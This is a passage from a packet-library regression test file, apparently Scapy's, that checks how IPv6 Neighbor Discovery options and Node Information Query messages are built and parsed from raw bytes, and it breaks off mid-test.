ICMPv6NDOptSrcLLAddr - Basic Instantiation str(ICMPv6NDOptSrcLLAddr()) == '\x01\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcLLAddr - Instantiation with specific values str(ICMPv6NDOptSrcLLAddr(len=2, lladdr="11:11:11:11:11:11")) == '\x01\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptSrcLLAddr - Basic Dissection a=ICMPv6NDOptSrcLLAddr('\x01\x01\x00\x00\x00\x00\x00\x00') a.type == 1 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptSrcLLAddr - Instantiation with specific values a=ICMPv6NDOptSrcLLAddr('\x01\x02\x11\x11\x11\x11\x11\x11') a.type == 1 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ########### ICMPv6NDOptDstLLAddr Class ############################## + ICMPv6NDOptDstLLAddr Class Test = ICMPv6NDOptDstLLAddr - Basic Instantiation str(ICMPv6NDOptDstLLAddr()) == '\x02\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptDstLLAddr - Instantiation with specific values str(ICMPv6NDOptDstLLAddr(len=2, lladdr="11:11:11:11:11:11")) == '\x02\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptDstLLAddr - Basic Dissection a=ICMPv6NDOptDstLLAddr('\x02\x01\x00\x00\x00\x00\x00\x00') a.type == 2 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptDstLLAddr - Instantiation with specific values a=ICMPv6NDOptDstLLAddr('\x02\x02\x11\x11\x11\x11\x11\x11') a.type == 2 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ########### ICMPv6NDOptPrefixInfo Class ############################# + ICMPv6NDOptPrefixInfo Class Test = ICMPv6NDOptPrefixInfo - Basic Instantiation str(ICMPv6NDOptPrefixInfo()) == '\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptPrefixInfo - Instantiation with specific values str(ICMPv6NDOptPrefixInfo(len=5, prefixlen=64, L=0, A=0, R=1, res1=1, validlifetime=0x11111111, preferredlifetime=0x22222222, res2=0x33333333, prefix="2001:db8::1")) == '\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptPrefixInfo - Basic Dissection a=ICMPv6NDOptPrefixInfo('\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 3 and a.len == 4 and a.prefixlen == 0 and a.L == 1 and a.A == 1 and a.R == 0 and a.res1 == 0 and a.validlifetime == 0xffffffff and a.preferredlifetime == 0xffffffff and a.res2 == 0 and a.prefix == "::" = ICMPv6NDOptPrefixInfo - Instantiation with specific values a=ICMPv6NDOptPrefixInfo('\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type == 3 and a.len == 5 and a.prefixlen == 64 and a.L == 0 and a.A == 0 and a.R == 1 and a.res1 == 1 and a.validlifetime == 0x11111111 and a.preferredlifetime == 0x22222222 and a.res2 == 0x33333333 and a.prefix == "2001:db8::1" ########### ICMPv6NDOptRedirectedHdr Class ########################## + ICMPv6NDOptRedirectedHdr Class Test = ICMPv6NDOptRedirectedHdr - Basic Instantiation ~ ICMPv6NDOptRedirectedHdr str(ICMPv6NDOptRedirectedHdr()) == '\x04\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Instantiation with specific values ~ ICMPv6NDOptRedirectedHdr str(ICMPv6NDOptRedirectedHdr(len=0xff, res=0x1111, pkt="somestringthatisnotanipv6packet")) == '\x04\xff4369\x00\x00somestringthatisnotanipv' = ICMPv6NDOptRedirectedHdr - Instantiation with simple IPv6 packet (no upper layer) ~ ICMPv6NDOptRedirectedHdr str(ICMPv6NDOptRedirectedHdr(pkt=IPv6())) == '\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRedirectedHdr - Basic Dissection ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr('\x04\x00\x00\x00') assert(a.type == 4) assert(a.len == 0) assert(a.res == "\x00\x00") assert(a.pkt == "") = ICMPv6NDOptRedirectedHdr - Disssection with specific values ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr('\x04\xff\x11\x11\x00\x00\x00\x00somestringthatisnotanipv6pac') a.type == 4 and a.len == 255 and a.res == '\x11\x11\x00\x00\x00\x00' and isinstance(a.pkt, Raw) and a.pkt.load == "somestringthatisnotanipv6pac" = ICMPv6NDOptRedirectedHdr - Dissection with cut IPv6 Header ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr('\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 4 and a.len == 6 and a.res == "\x00\x00\x00\x00\x00\x00" and isinstance(a.pkt, Raw) and a.pkt.load == '`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Complete dissection ~ ICMPv6NDOptRedirectedHdr x=ICMPv6NDOptRedirectedHdr('\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') y=x.copy() del(y.len) x == ICMPv6NDOptRedirectedHdr(str(y)) # Add more tests ########### ICMPv6NDOptMTU Class #################################### + ICMPv6NDOptMTU Class Test = ICMPv6NDOptMTU - Basic Instantiation str(ICMPv6NDOptMTU()) == '\x05\x01\x00\x00\x00\x00\x05\x00' = ICMPv6NDOptMTU - Instantiation with specific values str(ICMPv6NDOptMTU(len=2, res=0x1111, mtu=1500)) == '\x05\x02\x11\x11\x00\x00\x05\xdc' = ICMPv6NDOptMTU - Basic dissection a=ICMPv6NDOptMTU('\x05\x01\x00\x00\x00\x00\x05\x00') a.type == 5 and a.len == 1 and a.res == 0 and a.mtu == 1280 = ICMPv6NDOptMTU - Dissection with specific values a=ICMPv6NDOptMTU('\x05\x02\x11\x11\x00\x00\x05\xdc') a.type == 5 and a.len == 2 and a.res == 0x1111 and a.mtu == 1500 ########### ICMPv6NDOptShortcutLimit Class ########################## + ICMPv6NDOptShortcutLimit Class Test (RFC2491) = ICMPv6NDOptShortcutLimit - Basic Instantiation str(ICMPv6NDOptShortcutLimit()) == '\x06\x01(\x00\x00\x00\x00\x00' = ICMPv6NDOptShortcutLimit - Instantiation with specific values str(ICMPv6NDOptShortcutLimit(len=2, shortcutlim=0x11, res1=0xee, res2=0xaaaaaaaa)) == '\x06\x02\x11\xee\xaa\xaa\xaa\xaa' = ICMPv6NDOptShortcutLimit - Basic Dissection a=ICMPv6NDOptShortcutLimit('\x06\x01(\x00\x00\x00\x00\x00') a.type == 6 and a.len == 1 and a.shortcutlim == 40 and a.res1 == 0 and a.res2 == 0 = ICMPv6NDOptShortcutLimit - Dissection with specific values a=ICMPv6NDOptShortcutLimit('\x06\x02\x11\xee\xaa\xaa\xaa\xaa') a.len==2 and a.shortcutlim==0x11 and a.res1==0xee and a.res2==0xaaaaaaaa ########### ICMPv6NDOptAdvInterval Class ############################ + ICMPv6NDOptAdvInterval Class Test = ICMPv6NDOptAdvInterval - Basic Instantiation str(ICMPv6NDOptAdvInterval()) == '\x07\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptAdvInterval - Instantiation with specific values str(ICMPv6NDOptAdvInterval(len=2, res=0x1111, advint=0xffffffff)) == '\x07\x02\x11\x11\xff\xff\xff\xff' = ICMPv6NDOptAdvInterval - Basic dissection a=ICMPv6NDOptAdvInterval('\x07\x01\x00\x00\x00\x00\x00\x00') a.type == 7 and a.len == 1 and a.res == 0 and a.advint == 0 = ICMPv6NDOptAdvInterval - Dissection with specific values a=ICMPv6NDOptAdvInterval('\x07\x02\x11\x11\xff\xff\xff\xff') a.type == 7 and a.len == 2 and a.res == 0x1111 and a.advint == 0xffffffff ########### ICMPv6NDOptHAInfo Class ################################# + ICMPv6NDOptHAInfo Class Test = ICMPv6NDOptHAInfo - Basic Instantiation str(ICMPv6NDOptHAInfo()) == '\x08\x01\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptHAInfo - Instantiation with specific values str(ICMPv6NDOptHAInfo(len=2, res=0x1111, pref=0x2222, lifetime=0x3333)) == '\x08\x02\x11\x11""33' = ICMPv6NDOptHAInfo - Basic dissection a=ICMPv6NDOptHAInfo('\x08\x01\x00\x00\x00\x00\x00\x01') a.type == 8 and a.len == 1 and a.res == 0 and a.pref == 0 and a.lifetime == 1 = ICMPv6NDOptHAInfo - Dissection with specific values a=ICMPv6NDOptHAInfo('\x08\x02\x11\x11""33') a.type == 8 and a.len == 2 and a.res == 0x1111 and a.pref == 0x2222 and a.lifetime == 0x3333 ########### ICMPv6NDOptSrcAddrList Class (RFC 3122) ################# + ICMPv6NDOptSrcAddrList Class Test = ICMPv6NDOptSrcAddrList - Basic Instantiation str(ICMPv6NDOptSrcAddrList()) == '\t\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcAddrList - Instantiation with specific values (auto len) str(ICMPv6NDOptSrcAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == '\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Instantiation with specific values str(ICMPv6NDOptSrcAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == '\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Basic Dissection a=ICMPv6NDOptSrcAddrList('\t\x01\x00\x00\x00\x00\x00\x00') a.type == 9 and a.len == 1 and a.res == '\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptSrcAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptSrcAddrList('\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 9 and a.len == 5 and a.res == 'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptSrcAddrList - Dissection with specific values a=ICMPv6NDOptSrcAddrList('\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 9 and a.len == 3 and a.res == 'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == '\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ########### ICMPv6NDOptTgtAddrList Class (RFC 3122) ################# + ICMPv6NDOptTgtAddrList Class Test = ICMPv6NDOptTgtAddrList - Basic Instantiation str(ICMPv6NDOptTgtAddrList()) == '\n\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptTgtAddrList - Instantiation with specific values (auto len) str(ICMPv6NDOptTgtAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == '\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Instantiation with specific values str(ICMPv6NDOptTgtAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == '\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Basic Dissection a=ICMPv6NDOptTgtAddrList('\n\x01\x00\x00\x00\x00\x00\x00') a.type == 10 and a.len == 1 and a.res == '\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptTgtAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptTgtAddrList('\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 10 and a.len == 5 and a.res == 'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptTgtAddrList - Instantiation with specific values a=ICMPv6NDOptTgtAddrList('\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 10 and a.len == 3 and a.res == 'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == '\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ########### ICMPv6NDOptIPAddr Class (RFC 4068) ###################### + ICMPv6NDOptIPAddr Class Test (RFC 4068) = ICMPv6NDOptIPAddr - Basic Instantiation str(ICMPv6NDOptIPAddr()) == '\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptIPAddr - Instantiation with specific values str(ICMPv6NDOptIPAddr(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, addr="ffff::1111")) == '\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptIPAddr - Basic Dissection a=ICMPv6NDOptIPAddr('\x11\x03\x01@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 17 and a.len == 3 and a.optcode == 1 and a.plen == 64 and a.res == 0 and a.addr == "::" = ICMPv6NDOptIPAddr - Dissection with specific values a=ICMPv6NDOptIPAddr('\x11\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 17 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.addr == "ffff::1111" ########### ICMPv6NDOptNewRtrPrefix Class (RFC 4068) ################ + ICMPv6NDOptNewRtrPrefix Class Test (RFC 4068) = ICMPv6NDOptNewRtrPrefix - Basic Instantiation str(ICMPv6NDOptNewRtrPrefix()) == '\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptNewRtrPrefix - Instantiation with specific values str(ICMPv6NDOptNewRtrPrefix(len=5, optcode=0xff, plen=40, res=0xeeeeeeee, prefix="ffff::1111")) == '\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptNewRtrPrefix - Basic Dissection a=ICMPv6NDOptNewRtrPrefix('\x12\x03\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 18 and a.len == 3 and a.optcode == 0 and a.plen == 64 and a.res == 0 and a.prefix == "::" = ICMPv6NDOptNewRtrPrefix - Dissection with specific values a=ICMPv6NDOptNewRtrPrefix('\x12\x05\xff(\xee\xee\xee\xee\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 18 and a.len == 5 and a.optcode == 0xff and a.plen == 40 and a.res == 0xeeeeeeee and a.prefix == "ffff::1111" ########### ICMPv6NDOptLLA Class (RFC 4068) ######################### + ICMPv6NDOptLLA Class Test (RFC 4068) = ICMPv6NDOptLLA - Basic Instantiation str(ICMPv6NDOptLLA()) == '\x13\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptLLA - Instantiation with specific values str(ICMPv6NDOptLLA(len=2, optcode=3, lla="ff:11:ff:11:ff:11")) == '\x13\x02\x03\xff\x11\xff\x11\xff\x11' = ICMPv6NDOptLLA - Basic Dissection a=ICMPv6NDOptLLA('\x13\x01\x00\x00\x00\x00\x00\x00\x00') a.type == 19 and a.len == 1 and a.optcode == 0 and a.lla == "00:00:00:00:00:00" = ICMPv6NDOptLLA - Dissection with specific values a=ICMPv6NDOptLLA('\x13\x02\x03\xff\x11\xff\x11\xff\x11') a.type == 19 and a.len == 2 and a.optcode == 3 and a.lla == "ff:11:ff:11:ff:11" ########### ICMPv6NDOptRouteInfo Class (RFC 4191) ################### + ICMPv6NDOptRouteInfo Class Test = ICMPv6NDOptRouteInfo - Basic Instantiation str(ICMPv6NDOptRouteInfo()) == '\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced prefix but no length str(ICMPv6NDOptRouteInfo(prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (1/4) str(ICMPv6NDOptRouteInfo(len=1, prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (2/4) str(ICMPv6NDOptRouteInfo(len=2, prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x02\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (3/4) str(ICMPv6NDOptRouteInfo(len=3, prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01' = ICMPv6NDOptRouteInfo - Instantiation with forced length values (4/4) str(ICMPv6NDOptRouteInfo(len=4, prefix="2001:db8:1:1:1:1:1:1")) == '\x18\x04\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Instantiation with specific values str(ICMPv6NDOptRouteInfo(len=6, plen=0x11, res1=1, prf=3, res2=1, rtlifetime=0x22222222, prefix="2001:db8::1")) == '\x18\x06\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRouteInfo - Basic dissection a=ICMPv6NDOptRouteInfo('\x18\x03\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 24 and a.len == 3 and a.plen == 0 and a.res1 == 0 and a.prf == 0 and a.res2 == 0 and a.rtlifetime == 0xffffffff and a. prefix == "::" = ICMPv6NDOptRouteInfo - Dissection with specific values a=ICMPv6NDOptRouteInfo('\x18\x04\x119"""" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.plen == 0x11 and a.res1 == 1 and a.prf == 3 and a.res2 == 1 and a.rtlifetime == 0x22222222 and a.prefix == "2001:db8::1" ########### ICMPv6NDOptMAP Class (RFC 4191) ################### + ICMPv6NDOptMAP Class Test = ICMPv6NDOptMAP - Basic Instantiation str(ICMPv6NDOptMAP()) == '\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptMAP - Instantiation with specific values str(ICMPv6NDOptMAP(len=5, dist=3, pref=10, R=0, res=1, validlifetime=0x11111111, addr="ffff::1111")) == '\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptMAP - Basic Dissection a=ICMPv6NDOptMAP('\x17\x03\x1f\x80\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type==23 and a.len==3 and a.dist==1 and a.pref==15 and a.R==1 and a.res==0 and a.validlifetime==0xffffffff and a.addr=="::" = ICMPv6NDOptMAP - Dissection with specific values a=ICMPv6NDOptMAP('\x17\x05:\x01\x11\x11\x11\x11\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type==23 and a.len==5 and a.dist==3 and a.pref==10 and a.R==0 and a.res==1 and a.validlifetime==0x11111111 and a.addr=="ffff::1111" ########### ICMPv6NDOptRDNSS Class (RFC5006) ######################## + ICMPv6NDOptRDNSS Class Test = ICMPv6NDOptRDNSS - Basic Instantiation str(ICMPv6NDOptRDNSS()) == '\x19\x01\x00\x00\xff\xff\xff\xff' = ICMPv6NDOptRDNSS - Basic instantiation with 1 DNS address str(ICMPv6NDOptRDNSS(dns=["2001:db8::1"])) == '\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRDNSS - Basic instantiation with 2 DNS addresses str(ICMPv6NDOptRDNSS(dns=["2001:db8::1", "2001:db8::2"])) == '\x19\x05\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Instantiation with specific values str(ICMPv6NDOptRDNSS(len=43, res=0xaaee, lifetime=0x11111111, dns=["2001:db8::2"])) == '\x19+\xaa\xee\x11\x11\x11\x11 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = ICMPv6NDOptRDNSS - Basic Dissection a=ICMPv6NDOptRDNSS('\x19\x01\x00\x00\xff\xff\xff\xff') a.type==25 and a.len==1 and a.res == 0 and a.dns==[] = ICMPv6NDOptRDNSS - Dissection (with 1 DNS address) a=ICMPv6NDOptRDNSS('\x19\x03\x00\x00\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type==25 and a.len==3 and a.res ==0 and len(a.dns) == 1 and a.dns[0] == "2001:db8::1" = ICMPv6NDOptRDNSS - Dissection (with 2 DNS addresses) a=ICMPv6NDOptRDNSS('\x19\x05\xaa\xee\xff\xff\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.type==25 and a.len==5 and a.res == 0xaaee and len(a.dns) == 2 and a.dns[0] == "2001:db8::1" and a.dns[1] == "2001:db8::2" ########### ICMPv6NDOptEFA Class (RFC5075) ########################## + ICMPv6NDOptEFA Class Test = ICMPv6NDOptEFA - Basic Instantiation str(ICMPv6NDOptEFA()) == '\x1a\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptEFA - Basic Dissection a=ICMPv6NDOptEFA('\x1a\x01\x00\x00\x00\x00\x00\x00') a.type==26 and a.len==1 and a.res == 0 ##################################################################### + Test Node Information Query - ICMPv6NIQueryNOOP = ICMPv6NIQueryNOOP - Basic Instantiation str(ICMPv6NIQueryNOOP(nonce="\x00"*8)) == '\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIQueryNOOP - Basic Dissection a = ICMPv6NIQueryNOOP('\x8b\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 139 and a.code == 1 and a.cksum == 0 and a.qtype == 0 and a.unused == 0 and a.flags == 0 and a.nonce == "\x00"*8 and a.data == "" ##################################################################### + Test Node Information Query - ICMPv6NIQueryName = ICMPv6NIQueryName - single label DNS name (internal) a=ICMPv6NIQueryName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x07abricot\x00\x00' = ICMPv6NIQueryName - single label DNS name ICMPv6NIQueryName(data="abricot").data == "abricot" = ICMPv6NIQueryName - fqdn (internal) a=ICMPv6NIQueryName(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x01n\x01d\x03org\x00' = ICMPv6NIQueryName - fqdn ICMPv6NIQueryName(data="n.d.org").data == "n.d.org" = ICMPv6NIQueryName - IPv6 address (internal) a=ICMPv6NIQueryName(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryName - IPv6 address ICMPv6NIQueryName(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryName - IPv4 address (internal) a=ICMPv6NIQueryName(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryName - IPv4 address ICMPv6NIQueryName(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - ICMPv6NIQueryIPv6 = ICMPv6NIQueryIPv6 - single label DNS name (internal) a=ICMPv6NIQueryIPv6(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x07abricot\x00\x00' = ICMPv6NIQueryIPv6 - single label DNS name ICMPv6NIQueryIPv6(data="abricot").data == "abricot" = ICMPv6NIQueryIPv6 - fqdn (internal) a=ICMPv6NIQueryIPv6(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv6 - fqdn ICMPv6NIQueryIPv6(data="n.d.org").data == "n.d.org" = ICMPv6NIQueryIPv6 - IPv6 address (internal) a=ICMPv6NIQueryIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv6 - IPv6 address ICMPv6NIQueryIPv6(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv6 - IPv4 address (internal) a=ICMPv6NIQueryIPv6(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv6 - IPv4 address ICMPv6NIQueryIPv6(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - ICMPv6NIQueryIPv4 = ICMPv6NIQueryIPv4 - single label DNS name (internal) a=ICMPv6NIQueryIPv4(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x07abricot\x00\x00' = ICMPv6NIQueryIPv4 - single label DNS name ICMPv6NIQueryIPv4(data="abricot").data == "abricot" = ICMPv6NIQueryIPv4 - fqdn (internal) a=ICMPv6NIQueryIPv4(data="n.d.org").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 1 and a[1] == '\x01n\x01d\x03org\x00' = ICMPv6NIQueryIPv4 - fqdn ICMPv6NIQueryIPv4(data="n.d.org").data == "n.d.org" = ICMPv6NIQueryIPv4 - IPv6 address (internal) a=ICMPv6NIQueryIPv4(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == '2001:db8::1' = ICMPv6NIQueryIPv4 - IPv6 address ICMPv6NIQueryIPv4(data="2001:db8::1").data == "2001:db8::1" = ICMPv6NIQueryIPv4 - IPv4 address (internal) a=ICMPv6NIQueryIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and a[1] == '169.254.253.252' = ICMPv6NIQueryIPv4 - IPv4 address ICMPv6NIQueryIPv4(data="169.254.253.252").data == '169.254.253.252' ##################################################################### + Test Node Information Query - Flags tests = ICMPv6NIQuery* - flags handling (Test 1) t = ICMPv6NIQueryIPv6(flags="T") a = ICMPv6NIQueryIPv6(flags="A") c = ICMPv6NIQueryIPv6(flags="C") l = ICMPv6NIQueryIPv6(flags="L") s = 